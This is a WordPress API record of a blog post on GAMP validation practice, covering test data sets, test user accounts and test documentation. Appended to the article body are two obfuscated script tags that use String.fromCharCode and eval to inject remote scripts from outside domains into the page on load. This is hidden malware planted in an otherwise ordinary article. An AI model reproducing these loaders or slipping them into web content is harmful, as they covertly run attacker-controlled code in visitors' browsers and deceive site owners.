{"id":35618,"date":"2015-05-07T15:07:07","date_gmt":"2015-05-07T12:07:07","guid":{"rendered":"https:\/\/smartlogic.co.il\/?p=35618"},"modified":"2015-05-07T15:07:07","modified_gmt":"2015-05-07T12:07:07","slug":"%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-gamp-test-environments-test-data-sets","status":"publish","type":"post","link":"https:\/\/smartlogic.co.il\/staging_new\/%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-gamp-test-environments-test-data-sets\/","title":{"rendered":"\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; GAMP &#8211; Test Environments &#8211; Test Data Sets"},"content":{"rendered":"<h2 style=\"text-align: center\">\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 \u00a0Good Automated Manufacturing Practice &#8211;\u00a0GAMP &#8211; Test Environments &#8211; Test Data Sets<\/h2>\n<p style=\"text-align: left\"><strong>Test data sets<\/strong> are often use where the <a href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-introduction-to-good-automated-manufacturing-practice-gamp-test-environments%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-good-automated-manufacturing-pract\/\">test environment<\/a> does no permit the use of real data for reasons of availability or confidentiality, or where the real data are not generic enough to cover certain test types (e.g., challenge testing at boundary conditions or stress testing).<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Representative Test Environment<\/h3>\n<p style=\"text-align: left\">Test data should represent as close as possible the actual data to be operated on, in terms of volume and range of possible values (including invalid entries, to check that they can be correctly handled).<\/p>\n<p style=\"text-align: left\">Differences between the proposed test data and the expected actual data should be detailed on the Test Specification or Protocol, and subject to impact assessment. If necessary, additional tests should be planned for the production environment in order to cover identified risk scenarios.<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Control of Test Environment<\/h3>\n<p style=\"text-align: left\"><strong>Test data<\/strong> sets should be placed under configuration management and the version in use recorded.<\/p>\n<p style=\"text-align: left\">For automatically generated data it may also be appropriate to control the utility used for generating the data, as well as the test data set<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Removal from Production Environment<\/h3>\n<p style=\"text-align: left\">If the test data <a title=\"SW\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-gamp-hardware-software-test-environments%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-gamp-hardware-software-test-environments\/\">SW<\/a> is added in the way that it may appear in the production environment, then, this should be documented a temporary modification to the production system. Removal of the temporary modification should be documented as well.<\/p>\n<p style=\"text-align: left\">If the production environment includes automatic audit trailing, then it should be recognized that all audit trail entries from the testing process will remain.<\/p>\n<h2 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Test User Accounts<\/h2>\n<p style=\"text-align: left\">Test user accounts are often used to permit testers to access the system at different levels, and ensure that activities carried out during testing are easily identified within any resulting audit trail.<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Representative Test Environment<\/h3>\n<p style=\"text-align: left\">Where test user accounts are often used, these should be set up to represent each group of users within the system, including the corresponding authorizations. For multi-lingual system, test user accounts using foreign character sets should be included. Similarly, if existing individual accounts are used for testing, representatives from each group should be included.<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Control of Test Environment<\/h3>\n<p style=\"text-align: left\">If test user accounts are used, then the setup of the accounts should be retained as part of the test documentation. Where there are issues of data confidentiality, controls should be exercised to ensure that the use of test accounts does not cause breaches of confidentiality.<\/p>\n<h3 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Removal from Production Environment<\/h3>\n<p style=\"text-align: left\">If the test user accounts are added in the way that it may appear in the production environment, then, this should be documented a temporary modification to the production system. Removal of the temporary modification should be documented as well.<\/p>\n<h2 style=\"text-align: left\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Test Documentation<\/h2>\n<p style=\"text-align: left\">The <a title=\"Introduction to test enviroments\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-introduction-to-good-automated-manufacturing-practice-gamp-test-environments%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-good-automated-manufacturing-pract\/\">test environment<\/a> includes documentation used during testing. This should always include the test documentation (Test Plans and Strategies, Protocols and Test Specifications, Test Cases and Test Scripts) and the controlling <a title=\"DS\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-design-specification-ds\/\">Design Specifications<\/a>. It may also include operating procedures such as SOPs.<\/p>\n<p style=\"text-align: left\">The test documentation should be controlled and recorded to a level of detail that would allow it to be retrieved as part of later review of the test results. This control would, at minimum, include the recording of current document version levels.<\/p>\n<h2><\/h2>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4- GAMP &#8211;  Test Environments &#8211; Test Data Sets <\/p>\n","protected":false},"author":2,"featured_media":35497,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[157,179,190,303,389,392,424,477,502,504,522],"class_list":["post-35618","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-17","tag-environment-test","tag-gamp","tag-hmi-en","tag-production-environment","tag-test-data-sets","tag-test-environments","tag-user-accounts","tag-477","tag-502","tag-504","tag-522"],"_links":{"self":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35618","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/comments?post=35618"}],"version-history":[{"count":0,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35618\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media\/35497"}],"wp:attachment":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media?parent=35618"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/categories?post=35618"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/tags?post=35618"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}